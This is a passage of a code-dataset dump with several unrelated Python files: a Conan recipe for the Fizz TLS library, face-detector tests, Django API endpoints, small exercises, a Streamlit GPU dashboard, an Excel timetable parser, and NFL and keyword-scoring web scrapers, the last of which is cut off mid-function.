conanfile.py\n#\n# AUTHOR: Ethan D. Twardy \n#\n# DESCRIPTION: Conan recipe for building Fizz\n#\n# CREATED: 05/07/2020\n#\n# LAST EDITED: 09/20/2022\n###\n\nfrom conans import ConanFile, CMake, tools\nimport shutil\nimport glob\n\n\nclass ConanFizz(ConanFile):\n name = \"fizz\"\n version = \"2020.02.17.00\"\n license = \"BSD\"\n author = \"Ethan D. Twardy \"\n url = \"https://github.com/AmateurECE/conan-fizz\"\n description = \"\"\"Fizz is a TLS 1.3 implementation.\n Fizz currently supports TLS 1.3 drafts 28, 26 (both wire-compatible with\n the final specification), and 23. All major handshake modes are supported,\n including PSK resumption, early data, client authentication, and\n HelloRetryRequest.\"\"\"\n topics = (\"facebook\", \"tls\", \"networking\")\n settings = \"os\", \"compiler\", \"build_type\", \"arch\"\n options = {\"shared\": [True, False]}\n default_options = {\"shared\": False}\n generators = \"cmake_find_package\"\n build_requires = \"fmt/6.2.0\"\n requires = \"openssl/1.1.1d\", \"libsodium/1.0.18\", \\\n \"folly/2019.10.21.00\"\n\n def source(self):\n self.run(\"git clone https://github.com/facebookincubator/fizz\")\n self.run(\"git --git-dir=fizz/.git --work-tree=fizz checkout v{}\"\n .format(self.version))\n\n def build(self):\n # Copy the Find files to fizz's cmake directory\n for findPackageFile in glob.glob(\"Find*\"):\n shutil.copyfile(findPackageFile, \"fizz/fizz/cmake/\"\n + findPackageFile)\n\n with open(\"fizz/fizz/CMakeLists.txt\") as oldFile, \\\n open(\"CMakeLists.txt.new\", \"w\") as newFile:\n for line in oldFile:\n if line[:-1] == \" find_package(Folly MODULE REQUIRED)\":\n newFile.write(\" find_package(folly REQUIRED)\\n\")\n elif line[:-1] == \"find_package(fmt CONFIG REQUIRED)\":\n newFile.write(\"find_package(fmt REQUIRED)\\n\")\n elif \"FOLLY\" in line:\n newFile.write(line.replace(\"FOLLY\", \"folly\"))\n else:\n newFile.write(line)\n\n shutil.copyfile(\"CMakeLists.txt.new\", \"fizz/fizz/CMakeLists.txt\")\n\n cmake = CMake(self)\n cmake.configure(source_folder=\"fizz/fizz\", build_folder=\"fizz/build\")\n cmake.build()\n cmake.test()\n\n def package(self):\n self.copy(\"*.h\", dst=\"include/fizz\", src=\"fizz/fizz\",\n excludes=(\"*Test*\", \"*test*\"))\n self.copy(\"*fizz.lib\", dst=\"lib\", keep_path=False)\n self.copy(\"*.dll\", dst=\"bin\", keep_path=False, excludes=(\"*test*\"))\n self.copy(\"*.so\", dst=\"lib\", keep_path=False, excludes=(\"*test*\"))\n self.copy(\"*.dylib\", dst=\"lib\", keep_path=False, excludes=(\"*test*\"))\n self.copy(\"*.a\", dst=\"lib\", keep_path=False, excludes=(\"*test*\"))\n self.copy(\"fizz\", dst=\"bin\", src=\"fizz/build/bin\", keep_path=False)\n\n def package_info(self):\n self.cpp_info.libs = [\"fizz\"]\n\n###############################################################################\n","repo_name":"AmateurECE/conan","sub_path":"fizz/conanfile.py","file_name":"conanfile.py","file_ext":"py","file_size_in_byte":3213,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"40790539586","text":"import pytest\n\nfrom PIL import Image\n\nfrom pathlib import Path\n\nimport numpy as np\n\nimport torch\n\nfrom faceie.image_to_array import image_to_array\nfrom faceie.mtcnn.model import p_net, r_net, o_net\nfrom faceie.mtcnn.detect_faces import resolve_p_net_bounding_boxes\n\nimport facenet_pytorch.models.mtcnn # type: ignore\n\n\nTEST_IMAGE_DIR = Path(__file__).parent\n\n\ndef test_p_net_finds_face() -> None:\n # This test case is just a sanity check that this finds the face in the\n # centre of the test image (which has been manually sized such that the\n # face is of an appropriate size for the detector).\n im = image_to_array(Image.open(TEST_IMAGE_DIR / \"tiny_face.jpg\"))\n\n probs, bboxes = p_net(im)\n bboxes = resolve_p_net_bounding_boxes(bboxes)\n\n # Find center of most likley face detection bounding box\n x1, y1, x2, y2 = bboxes.reshape(-1, 4)[np.argmax(probs)]\n x = (x1 + x2) / 2.0\n y = (y1 + y2) / 2.0\n\n # Best face within 3 pixels of center of image\n assert np.isclose(x, im.shape[2] / 2, atol=3)\n assert np.isclose(y, im.shape[1] / 2, atol=3)\n\n\ndef test_p_net_equivalent() -> None:\n im = image_to_array(Image.open(TEST_IMAGE_DIR / \"tiny_face.jpg\"))\n\n torch_p_net = facenet_pytorch.models.mtcnn.PNet()\n\n with torch.no_grad():\n exp_bboxes, exp_probs = torch_p_net(torch.tensor(im).unsqueeze(0))\n\n probs, bboxes = p_net(im)\n\n assert np.allclose(probs, exp_probs.numpy()[:, 1])\n assert np.allclose(\n bboxes,\n np.moveaxis(\n (\n exp_bboxes.numpy() # (1, 4, h, w)\n + np.array([0, 0, 1, 1]).reshape(1, 4, 1, 1)\n ),\n 1,\n -1,\n ), # (1, h, w, 4)\n atol=1e-5, # Float32 is a bit naff\n )\n\n\ndef test_r_net_equivalent() -> None:\n im = image_to_array(Image.open(TEST_IMAGE_DIR / \"tiny_face.jpg\").resize((24, 24)))\n im = np.expand_dims(im, 0)\n\n torch_r_net = facenet_pytorch.models.mtcnn.RNet()\n\n with torch.no_grad():\n exp_bboxes, exp_probs = torch_r_net(torch.tensor(im))\n\n probs, bboxes = r_net(im)\n\n assert np.allclose(probs, exp_probs.numpy()[:, 1])\n assert np.allclose(\n bboxes,\n (exp_bboxes.numpy() + np.array([0, 0, 1, 1]).reshape(1, 4)), # (1, 4)\n atol=1e-5, # Float32 is a bit naff\n )\n\n\ndef test_o_net_equivalent() -> None:\n im = image_to_array(Image.open(TEST_IMAGE_DIR / \"tiny_face.jpg\").resize((48, 48)))\n im = np.expand_dims(im, 0)\n\n torch_o_net = facenet_pytorch.models.mtcnn.ONet()\n\n with torch.no_grad():\n exp_bboxes, exp_landmarks, exp_probs = torch_o_net(torch.tensor(im))\n\n probs, bboxes, landmarks = o_net(im)\n\n assert np.allclose(probs, exp_probs.numpy()[:, 1])\n\n assert np.allclose(\n bboxes,\n (exp_bboxes.numpy() + np.array([0, 0, 1, 1]).reshape(1, 4)), # (1, 4)\n atol=1e-5, # Float32 is a bit naff\n )\n\n assert np.allclose(\n landmarks,\n (exp_landmarks.numpy()[:, [0, 5, 1, 6, 2, 7, 3, 8, 4, 9]]),\n atol=1e-5, # Float32 is a bit naff\n )\n","repo_name":"mossblaser/faceie","sub_path":"tests/mtcnn/test_mtcnn_model.py","file_name":"test_mtcnn_model.py","file_ext":"py","file_size_in_byte":3046,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"30909679853","text":"from django.http import HttpRequest\nfrom django.shortcuts import get_object_or_404\n\nfrom ninja import Router\n\nfrom aria.categories.models import Category\nfrom aria.categories.schemas.outputs import (\n CategoryChildrenListOutput,\n CategoryDetailOutput,\n CategoryListOutput,\n CategoryParentListOutput,\n)\nfrom aria.categories.selectors import (\n category_children_active_list_for_category,\n category_navigation_active_list_from_cache,\n category_parent_active_list,\n)\n\nrouter = Router(tags=[\"Categories\"])\n\n\n@router.get(\n \"/\",\n response={200: list[CategoryListOutput]},\n summary=\"List all active categories and children\",\n)\ndef category_list_api(request: HttpRequest) -> list[CategoryListOutput]:\n \"\"\"\n Retrieves a list of all primary and secondary categories, primarily\n used for routing in the frontend navbar.\n \"\"\"\n\n categories = category_navigation_active_list_from_cache()\n\n return [CategoryListOutput(**category.dict()) for category in categories]\n\n\n@router.get(\n \"parents/\",\n response={200: list[CategoryParentListOutput]},\n summary=\"List all active primary categories\",\n)\ndef category_parent_list_api(request: HttpRequest) -> list[CategoryParentListOutput]:\n \"\"\"\n Retrieves a list of all primary categories.\n \"\"\"\n parent_categories = category_parent_active_list()\n\n return [\n CategoryParentListOutput(**category.dict()) for category in parent_categories\n ]\n\n\n@router.get(\n \"{category_slug}/\",\n response={200: CategoryDetailOutput},\n summary=\"Retrieve a specific category\",\n)\ndef category_detail_api(\n request: HttpRequest, category_slug: str\n) -> tuple[int, CategoryDetailOutput]:\n \"\"\"\n Retrieve details of a specific category, parent\n or child.\n \"\"\"\n category = get_object_or_404(Category, slug=category_slug)\n\n return 200, CategoryDetailOutput.from_orm(category)\n\n\n@router.get(\n \"{category_slug}/children/\",\n response={200: list[CategoryChildrenListOutput]},\n summary=\"List all active children categories belonging to a parent\",\n)\ndef category_children_list_api(\n request: HttpRequest, category_slug: str\n) -> list[CategoryChildrenListOutput]:\n \"\"\"\n Retrieves a list of all children categories connected to a\n specific parent.\n \"\"\"\n parent_category = get_object_or_404(Category, slug=category_slug)\n children_categories = category_children_active_list_for_category(\n category=parent_category\n )\n\n return [CategoryChildrenListOutput(**child.dict()) for child in children_categories]\n","repo_name":"danielkjellid/aria-api","sub_path":"aria/categories/endpoints/public.py","file_name":"public.py","file_ext":"py","file_size_in_byte":2543,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"7496406809","text":"#Hacer que el sistenam genere un numero aleatorio entre 1 y 10\n#Hacer que el usuario adivine el numero\n#Que la aplicacion termine cuando el usuario termine el numero\nimport random\ns = random.randint(1,10)\nwhile True:\n n = int(input(\"Adivina el numero del sistema:\"))\n if n == s:\n print(\"Adivinaste!\")\n break\n else: \n print(\"Numero incorrecto!\")","repo_name":"Ignacio-AJ/ExamenParcialAEP","sub_path":"Ejercicio2.py","file_name":"Ejercicio2.py","file_ext":"py","file_size_in_byte":376,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"17832169526","text":"# coding: utf-8\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport matplotlib.animation as animation\n\n# Initial condition\nT = np.array([0., 0., 0., 100.])\nx_ax = range(len(T))\ndelta_x = 1\ndelta_t = 0.1\n# k is coefficent \nk = 1.\n# the number of loop\nloop = 100\n# S is source of thermal\nS = np.zeros(T.shape)\n\nfig = plt.figure()\nims = []\nfor cnt in range(0, loop):\n for i in range(1, len(T) -1):\n T[i] = T[i] + k * delta_t / ( delta_x **2 ) * (T[i+1] -2*T[i] + T[i-1]) + S[i] * delta_t\n\n # first position T[0] and T[last] are not changed because of baundary condition.\n im = plt.plot(x_ax, T, 'r')\n ims.append(im)\n\n# ims list includes the plot-images!!!\n# And you put the plot-images into ArtistAnimation\nani = animation.ArtistAnimation(fig, ims)\n# animate = []\n\n\n#ims = plt.plot(range(0, len(T)), T)\n# plt.title('Thermal expansion')\n\n# def animate(nframe):\n# ims = plt.plot(range(0, len(T)), T)\n# plt.title('Thermal expansion')\n# animate.append(ims)\n\n\n#anim = animation.FuncAnimation(fig, animate, frames=30)\n# anim.save('thermal_1d.gif', writer='imagemagick', fps=4)\n\nplt.show()\nani.save('thermal_1d.gif', writer='imagemagick', fps=4);\n\n","repo_name":"shota-tsuji/test","sub_path":"prac/themal.py","file_name":"themal.py","file_ext":"py","file_size_in_byte":1172,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"37428023290","text":"import streamlit as st\nimport pandas as pd\nfrom datetime import datetime, timedelta\n\n\nip_list = [\n '172.17.240.73',\n '172.18.240.107',\n '172.18.240.119',\n '172.17.240.253',\n '172.18.240.231',\n '172.18.240.195',\n '172.18.240.100'\n]\n\n\nst.title(\"DeCLaRe Admin GPU Monitoring\")\nchart_option = st.selectbox( \"Select Machine: \", ['Total']+ip_list )\nper_user = st.checkbox('Show individual user usage', value=False)\ntime_span = st.radio('Usage History in Days', ('1', '3', '7', '30'))\n\ndef create_line_chart(ip):\n if ip == \"Total\":\n df = pd.concat([ pd.read_csv(f'{ip}_gpu_log.csv') for ip in ip_list ])\n else:\n df = pd.read_csv(f'{ip}_gpu_log.csv')\n\n if not per_user: df['user'] = 'All Users'\n\n df['datetime'] = pd.to_datetime(df['date'] + ' ' + df['time'])\n time_limit = datetime.today() - timedelta(days=int(time_span))\n df = df[df['datetime'] >= time_limit]\n\n grouped_df = df.groupby(\n [pd.Grouper(key='datetime', freq='1H'), 'user']\n ).size().reset_index(name='count')\n\n table = grouped_df.pivot_table(index='datetime', columns='user', values='count', fill_value=0)\n table = table.divide(12) # one hour have 12 five minutes interval\n\n return table\n\n\nst.line_chart(\n create_line_chart(chart_option)\n)\n\n","repo_name":"Emrys-Hong/gpu-stat","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1277,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"21485052403","text":"# coding: utf-8\n# Author: SunsetYe inherited from ChanJH\n# Website: ChanJH , SunsetYe \n# Contact: SunsetYe \n# class info: classInfo: \"\" 时间的json\n# design: class[0] = {className:\"\", startWeek:\"\", endWeek:\"\", weekStatus:,\n# weekday:\"\", classTimeId:, classroom:\"\", teacher:\"\"}\n\nimport sys\nimport json\nimport xlrd\nimport os\nfrom random import randint\n\n\nclass ExcelReader:\n def __init__(self):\n # 指定信息在 xls 表格内的列数,第一列是第 0 列。\n self.config = dict()\n self.config[\"ClassName\"] = 0\n self.config[\"StartWeek\"] = 1\n self.config[\"EndWeek\"] = 2\n self.config[\"Weekday\"] = 3\n self.config[\"ClassStartTime\"] = 4\n self.config[\"ClassEndTime\"] = 5\n self.config[\"Classroom\"] = 6\n self.config[\"WeekStatus\"] = 7\n self.config[\"isClassSerialEnabled\"] = [1, 8]\n self.config[\"isClassTeacherEnabled\"] = [1, 9]\n # weekStatus: 0=Disabled 1=odd weeks 单周 2=even weeks 双周\n # 读取 excel 文件\n try:\n self.data = xlrd.open_workbook('classInfo.xls')\n except FileNotFoundError:\n print(\"文件不存在,请确认是否将课程信息前的 temp_ 去掉!\")\n sys.exit()\n self.table = self.data.sheets()[0]\n # 基础信息\n self.numOfRow = self.table.nrows # 获取行数,即课程数\n self.numOfCol = self.table.ncols # 获取列数,即信息量\n self.classList = list()\n\n def confirm_conf(self):\n # 与用户确定配置内容\n print(\"\\n欢迎使用课程表生成工具·Excel 解析器。\\n若自行修改过 Excel 表格结构,请检查。\")\n print(\"若要设定是否使用单双周、是否显示教师,请修改 excel_reader.py 中的 27, 28 行。\")\n print(\"ClassName: \", self.config[\"ClassName\"])\n print(\"StartWeek: \", self.config[\"StartWeek\"])\n print(\"EndWeek: \", self.config[\"EndWeek\"])\n print(\"Weekday: \", self.config[\"Weekday\"])\n print(\"ClassStartTime: \", self.config[\"ClassStartTime\"])\n print(\"ClassEndTime: \", self.config[\"ClassEndTime\"])\n print(\"Classroom: \", self.config[\"Classroom\"])\n print(\"WeekStatus: \", self.config[\"WeekStatus\"])\n\n print(\"isClassSerialEnabled: \", self.config[\"isClassSerialEnabled\"][0], end=\"\")\n if self.config[\"isClassSerialEnabled\"][0]:\n print(\" ,\", \"Serial: \", self.config[\"isClassSerialEnabled\"][1])\n\n print(\"isClassTeacherEnabled: \", self.config[\"isClassTeacherEnabled\"][0], end=\"\")\n if self.config[\"isClassTeacherEnabled\"][0]:\n print(\" ,\", \"Teacher: \", self.config[\"isClassTeacherEnabled\"][1])\n\n option = input(\"回车继续,输入其他内容退出:\")\n if option:\n return 1\n else:\n return 0\n\n def load_data(self):\n i = 1\n while i < self.numOfRow:\n _i = i - 1\n self.classList.append(dict())\n self.classList[_i].setdefault(\"ClassName\", self.table.cell(i, self.config[\"ClassName\"]).value)\n self.classList[_i].setdefault(\"StartWeek\", self.table.cell(i, self.config[\"StartWeek\"]).value)\n self.classList[_i].setdefault(\"EndWeek\", self.table.cell(i, self.config[\"EndWeek\"]).value)\n self.classList[_i].setdefault(\"WeekStatus\", self.table.cell(i, self.config[\"WeekStatus\"]).value)\n self.classList[_i].setdefault(\"Weekday\", self.table.cell(i, self.config[\"Weekday\"]).value)\n self.classList[_i].setdefault(\"ClassStartTimeId\", self.table.cell(i, self.config[\"ClassStartTime\"]).value)\n self.classList[_i].setdefault(\"ClassEndTimeId\", self.table.cell(i, self.config[\"ClassEndTime\"]).value)\n self.classList[_i].setdefault(\"Classroom\", self.table.cell(i, self.config[\"Classroom\"]).value)\n if self.config[\"isClassSerialEnabled\"][0]:\n try:\n self.classList[_i].setdefault(\"ClassSerial\",\n str(int(self.table.cell(\n i, self.config[\"isClassSerialEnabled\"][1]).value)))\n except ValueError:\n self.classList[_i].setdefault(\"ClassSerial\",\n str(self.table.cell(i, self.config[\"isClassSerialEnabled\"][1]).value))\n if self.config[\"isClassTeacherEnabled\"][0]:\n self.classList[_i].setdefault(\"Teacher\",\n self.table.cell(i, self.config[\"isClassTeacherEnabled\"][1]).value)\n i += 1\n\n def write_data(self):\n if os.path.exists(\"conf_classInfo.json\"):\n print(\"已存在 JSON 文件,使用随机文件名,请手动修改!\")\n filename = \"conf_classInfo_\" + str(randint(100, 999)) + \".json\"\n else:\n filename = \"conf_classInfo.json\"\n with open(filename, 'w', encoding='UTF-8') as json_file:\n json_str = json.dumps(self.classList, ensure_ascii=False, indent=4)\n json_file.write(json_str)\n json_file.close()\n\n def main(self):\n if self.confirm_conf():\n sys.exit()\n self.load_data()\n self.write_data()\n print(\"Excel 文件读取成功!\")\n\n\nif __name__ == \"__main__\":\n p = ExcelReader()\n p.main()\n print(p.classList)\n","repo_name":"SunsetYe66/ClasstableToIcal","sub_path":"excel_reader.py","file_name":"excel_reader.py","file_ext":"py","file_size_in_byte":5441,"program_lang":"python","lang":"en","doc_type":"code","stars":91,"dataset":"github-code","pt":"37"} +{"seq_id":"24016202462","text":"from ..classes import matchup as MU\nimport csv\n\n# calculate the highest score in all matchups\n# param: allMatchups - list of Matchup objects\n# return: highTeam - team with highest score\n# highScore - highest score\ndef highestScore(allMatchups):\n highScore = 0\n # find max\n for match in allMatchups:\n # if score exists, set score\n if match.away.score != \"TBD\" and match.home.score != \"TBD\":\n if match.away.score > highScore:\n highScore = match.away.score\n highTeam = match.away.name\n if match.home.score > highScore:\n highScore = match.home.score\n highTeam = match.home.name\n \n return highTeam, highScore\n\n\n# calculate the largest margin of victory\n# param: allMatchups - list of Matchup objects\n# return: largeTeam - team with largest margin of victory\n# largeMargin - margin of victory\ndef largestMargin(allMatchups):\n largeMargin = 0\n # find max\n for match in allMatchups:\n # if score exists, set score\n if match.away.score != \"TBD\" and match.home.score != \"TBD\":\n if match.away.score > match.home.score:\n margin = match.away.score - match.home.score\n else:\n margin = match.home.score - match.away.score\n\n if margin > largeMargin:\n largeMargin = margin\n largeTeam = match.winner().name\n \n return largeTeam, largeMargin\n\n\n# write weekly overview to csv file\n# param: allMatchups - list of Matchup objects\ndef writeOverview(allMatchups):\n file = open('weeklyOverview.csv', 'w')\n writer = csv.writer(file)\n\n # write header row\n writer.writerow([\"Weekly Results\"])\n writer.writerow([])\n \n # write each matchup\n for match in allMatchups:\n writer.writerow([match.date])\n writer.writerow([match.away.name, match.away.score])\n writer.writerow([match.home.name, match.home.score])\n writer.writerow([])\n\n # write highest scoring team\n writer.writerow([\"Highest Scoring Team\"])\n highTeam, highScore = highestScore(allMatchups)\n writer.writerow([highTeam, highScore])\n\n # write the largest margin of victory\n writer.writerow([\"Largest Margin of Victory\"])\n largeTeam, largeMargin = largestMargin(allMatchups)\n writer.writerow([largeTeam, largeMargin])\n\n file.close()\n\n\n\n# find all weekly results\n# param: webpage - BeautifulSoup object\n# return: allMatchups - list of Matchup objects\ndef findWeeklyResults(webpage):\n # find weekly results tables\n weeklyResults = webpage.find('div',{'id':'scores'}).find('div',{'class':'game_summaries'}).find_all('div')\n\n # list of Matchup objects\n allMatchups = []\n\n # loop through each matchup and create a Matchup object\n for match in weeklyResults:\n # create Matchup object\n allMatchups.append(MU.Matchup(match))\n\n return allMatchups\n ","repo_name":"glwhitaker/NFL-Stat-Scraper","sub_path":"src/types/weeklyOverview.py","file_name":"weeklyOverview.py","file_ext":"py","file_size_in_byte":2937,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"14206393918","text":"### Web Scraper Program by Lukas Brazdeikis \r\n### Created 5/7/21 \r\n### Last modified 5/8/21 \r\n### The purpose of this program is to scrape websites looking for keywords and basic website structure.\r\n### The prevalence of keywords, tabs, bad tabs/text, and website size is then turned into various metrics \r\n### that are saved in various text files.\r\n### Inputs: \r\n###\t\t- interested_tabs, thoroughness, _bad_tabs_and_bad_text from RunEntireProgram.py\r\n###\t\t- websites_to_scrape.txt\r\n### \t- keywords.txt\r\n### Outputs:\r\n###\t\t- website_lines.txt\r\n###\t\t- list_of_product_links.txt\r\n###\t\t- points_from_website.txt\r\n###\t\t- keyword_matches_from_website_to_website.txt\r\n###\t\t- tab_matches_to_website.txt\r\n### Functions:\r\n###\t\t- get_html_contents()\t\t\t\t\t\t\t\t - random_offset()\r\n###\t\t- find_html_contents_where_products_pages_can_be()\t - search_through_multiple_links_to_find_keyword_matches()\r\n###\t\t- find_tab_matches()\t\t\t\t\t\t\t\t - write_product_links()\r\n###\t\t- find_bad_tabs_and_bad_text()\t\t\t\t\t\t - calculate_website_structure_score()\r\n###\t\t- get_all_website_text()\t\t\t\t\t\t\t - find_html_content_of_a_given_html_text()\r\n###\t\t- calculate_website_size()\t\t\t\t\t\t\t - find_sublinks()\r\n###\t\t- save_website_text()\t\t\t\t\t\t\t\t - refine_list()\r\n###\t\t- find_keyword_matches_on_website()\t\t\t\t\t - search_a_website_and_the_sublinks()\r\n###\t\t- add_keyword_matches_to_points()\t\t\t\t\t - read_website_links()\r\n###\t\t- add_tab_matches_to_points()\t\t\t\t\t\t - save_points_from_website()\r\n###\t\t- add_bad_tab_and_bad_text_matches_to_points()\t\t - save_keyword_matches()\r\n###\t\t- add_website_size_to_points()\t\t\t\t\t\t - save_tab_matches()\r\n###\t\t- get_keywords_list()\t\t\t\t\t\t\t\t - reset_bad_tabs_bad_text()\r\n### \t- true_homepage()\t\t\t\t\t\t\t\t\t - main()\r\n\r\n\r\nfrom bs4 import BeautifulSoup\r\nfrom selenium import webdriver\r\nfrom selenium.common.exceptions import InvalidArgumentException\r\nfrom selenium.common.exceptions import WebDriverException\r\nimport requests\r\nfrom csv import writer\r\nimport time\r\nimport os.path\r\nimport random\r\n\r\nglobal score_values\r\nscore_values = {}\r\nglobal scores\r\nscores = {}\r\nglobal website_structure\r\nwebsite_structure = {}\r\nglobal num_404_pages\r\nnum_404_pages = [0]\r\nglobal points\r\npoints = {}\r\nglobal list_of_possible_scores_to_add\r\nlist_of_possible_scores_to_add = []\r\n\r\n\r\n### Input: homepage (string), site (string)\r\n###\t\t- site represents the sublinks without the homepage (ex: site = '/products')\r\n### Output: html_contents (a BeautifulSoup object).\r\n###\t\t- html_contents is the body of the html contents of the website\r\ndef get_html_contents(homepage, site):\r\n\r\n\turl = site\r\n\r\n\t## Creates a browser via Selenium. Selenium is used here to give a \"human touch\" to loading the website. \r\n\t### Compared to using BeautifulSoup, Selenium lowers the chance of being blocked due to bot behavior.\r\n\tbrowser = webdriver.Chrome()\r\n\tbrowser.minimize_window()\r\n\r\n\thomepage = true_homepage(homepage)\r\n\r\n\t## Attempts to load the website via Selenium. If it can't load, there are \"except\" statements to solve that.\r\n\ttry:\r\n\t\tbrowser.get(url)\r\n\t\tprint('Visiting ' + url)\r\n\texcept InvalidArgumentException: ## Takes care of the issue when you run a sublink through this function.\r\n\t\t\t\t\t\t\t\t\t ## Sometimes the sublink only contains the portion after \".com\".\r\n\t\t\t\t\t\t\t\t\t ## For example the sublink might only be \"/products/laser-system.\"\r\n\t\t\t\t\t\t\t\t\t ## This except statement then combines the sublink to the homepage to\r\n\t\t\t\t\t\t\t\t\t ## get a valid url.\r\n\t\ttry:\r\n\t\t\tbrowser.get(homepage + url)\r\n\t\t\tprint('Visiting ' + homepage + url)\r\n\t\texcept WebDriverException: ## This exception occurs if the above try statement fails. This means that\r\n\t\t\t\t\t\t\t\t\t ## the website truly cannot be found. Therefore, this function returns\r\n\t\t\t\t\t\t\t\t\t ## \"dummy\" values that imply that nothing was found on this website\r\n\t\t\treturn [0], sample_html, 0\r\n\texcept WebDriverException:\t\t ## This exception combats a \"TypeError\" that used to crash the program. This\r\n\t\t\t\t\t\t\t\t\t ## error is resolved by returning \"dummy\" values that imply that nothing was\r\n\t\t\t\t\t\t\t\t\t ## found on this website. Very similar to the above exception.\r\n\t\treturn [0], sample_html, 0\r\n\r\n\ttime.sleep(1 * random_offset(10))\r\n\r\n\t## Uses BeautifulSoup to begin extracting and saving the html contents of the website. \r\n\t### A switch to BeautifulSoup from Selenium is made as the html contents are easier to navigate/interact with in BS.\r\n\thtml = browser.page_source\r\n\tsoup = BeautifulSoup(html, 'html.parser')\r\n\r\n\t## This code finishes the extraction and saving of html contents. If there are issues, there are \"except\"\r\n\t## statements to solve that\r\n\ttry:\r\n\t\thtml_contents = soup.body.contents\r\n\texcept: ## Tries to get around the rare error: \"AttributeError 'NoneType' object has no attribute 'contents'\". The code\r\n\t\t\t## below is very similar to the code found above.\r\n\t\ttry:\r\n\t\t\tbrowser.get(url)\r\n\t\texcept InvalidArgumentException:\r\n\t\t\tbrowser.get(homepage + url)\r\n\t\t\tprint('Visiting ' + homepage + url)\r\n\t\ttry: ## Gives the website a bit more time to load before trying to extract html contents\r\n\t\t\ttime.sleep(2)\r\n\t\t\thtml = browser.page_source\r\n\t\t\ttime.sleep(2)\r\n\t\t\tsoup = BeautifulSoup(html, 'html.parser')\r\n\t\t\ttime.sleep(2)\r\n\t\t\thtml_contents = soup.body.contents\r\n\t\texcept: ## Returns \"dummy\" values that imply nothing was found on this website. \r\n\t\t\t\t## Dummy variables are needed so the code doesn't crash later due to undefined variables.\r\n\t\t\treturn [0], sample_html, 0\r\n\r\n\treturn html_contents\r\n\r\n\r\n### Input: html_contents (a BeautifulSoup object), html_contents_length (int), do_you_want_to_know... (boolean), interested_tabs (list of strings)\r\n###\t\t- do_you_want_to_know... is True if the html_contents of a homepage are sent through and \r\n###\t\t False if the html_contents of a subpage are sent through. A value of True means that the function will search for interested tabs.\r\n### Output: html_content_indices_where_products_pages_can_be (list of ints).\r\n###\t\t- html_content_indices... is saved so that when I search for the existance of tabs, I don't have to search through every section \r\n### of html_contents\r\ndef find_html_contents_where_products_pages_can_be(html_contents, html_contents_length,\\\r\n do_you_want_to_know_indices_where_product_pages_can_be, interested_tabs):\r\n\thtml_contents_indices_where_products_pages_can_be = []\r\n\r\n\tfor i in range(html_contents_length):\r\n\t\tline_to_add = ['', ''] \r\n\t\tif check_if_html_content_subsection_is_valid_V1(html_contents[i]):\r\n\t\t\ttry:\r\n\t\t\t\tline_to_add[0] = html_contents[i].get_text()\r\n\t\t\texcept AttributeError:\r\n\t\t\t\tline_to_add[0] = ''\r\n\t\t\tif do_you_want_to_know_indices_where_product_pages_can_be:\r\n\t\t\t\tfor tab in interested_tabs:\r\n\t\t\t\t\tif tab in line_to_add[0]:\r\n\t\t\t\t\t\tif i not in html_contents_indices_where_products_pages_can_be:\r\n\t\t\t\t\t\t\thtml_contents_indices_where_products_pages_can_be.append(i)\r\n\r\n\treturn html_contents_indices_where_products_pages_can_be\r\n\r\n\r\n### Input: html_contents (a BeautifulSoup object), html_contents_length (int), do_you_want_to_know... (boolean), interested_tabs (list of strings)\r\n### Output: None. However, the global variable tab_matches (list of strings) is modified.\r\ndef find_tab_matches(html_contents, html_contents_length, interested_tabs, do_you_want_to_know_indices_where_product_pages_can_be):\r\n\tfor i in range(html_contents_length):\r\n\t\tline_to_add = ['', ''] \r\n\t\tif check_if_html_content_subsection_is_valid_V1(html_contents[i]):\r\n\t\t\ttry:\r\n\t\t\t\tline_to_add[0] = html_contents[i].get_text() ## 27/7\r\n\t\t\texcept AttributeError:\r\n\t\t\t\tline_to_add[0] = ''\r\n\t\t\tif do_you_want_to_know_indices_where_product_pages_can_be:\r\n\t\t\t\tfor tab in interested_tabs:\r\n\t\t\t\t\tif tab in line_to_add[0]:\r\n\t\t\t\t\t\ttab_matches.append(tab)\r\n\r\n### Input: html_contents (a BeautifulSoup object), html_contents_length (int), do_you_want_to_know... (boolean)\r\n### Output: None. However, the global variable bad_tabs_bad_text (dictionary) is modified.\r\ndef find_bad_tabs_and_bad_text(html_contents, html_contents_length, do_you_want_to_know_indices_where_product_pages_can_be):\r\n\tfor i in range(html_contents_length):\r\n\t\tline_to_add = ['', ''] \r\n\t\tif check_if_html_content_subsection_is_valid_V1(html_contents[i]):\r\n\t\t\ttry:\r\n\t\t\t\tline_to_add[0] = html_contents[i].get_text() \r\n\t\t\texcept AttributeError:\r\n\t\t\t\tline_to_add[0] = ''\r\n\t\t\tif do_you_want_to_know_indices_where_product_pages_can_be:\r\n\t\t\t\tfor key in bad_tabs_and_bad_text:\r\n\t\t\t\t\tif key in line_to_add[0]:\r\n\t\t\t\t\t\tbad_tabs_and_bad_text[key] += 1\r\n\r\n\r\n### Input: html_contents (a BeautifulSoup object), html_contents_length (int)\r\n### Output: all_text(list of strings)\r\ndef get_all_website_text(html_contents, html_contents_length):\r\n\tall_text = []\r\n\r\n\tfor i in range(html_contents_length):\r\n\t\tline_to_add = ['', ''] \r\n\t\tif check_if_html_content_subsection_is_valid_V1(html_contents[i]):\r\n\t\t\ttry:\r\n\t\t\t\tline_to_add[0] = html_contents[i].get_text() ## 27/7\r\n\t\t\texcept AttributeError:\r\n\t\t\t\tline_to_add[0] = ''\t\r\n\t\tall_text.append(line_to_add)\r\n\r\n\treturn all_text\r\n\r\n\r\n### Input: html_contents (a BeautifulSoup object)\r\n### Output: None. However, the global variable total_number_of_all_sublinks (list comprising of a single int) is modified\r\ndef calculate_website_size(html_contents):\r\n\tglobal total_number_of_all_sublinks\r\n\ttotal_number_of_all_sublinks = [0]\r\n\tfor i in range(len(html_contents)):\r\n\t\tif 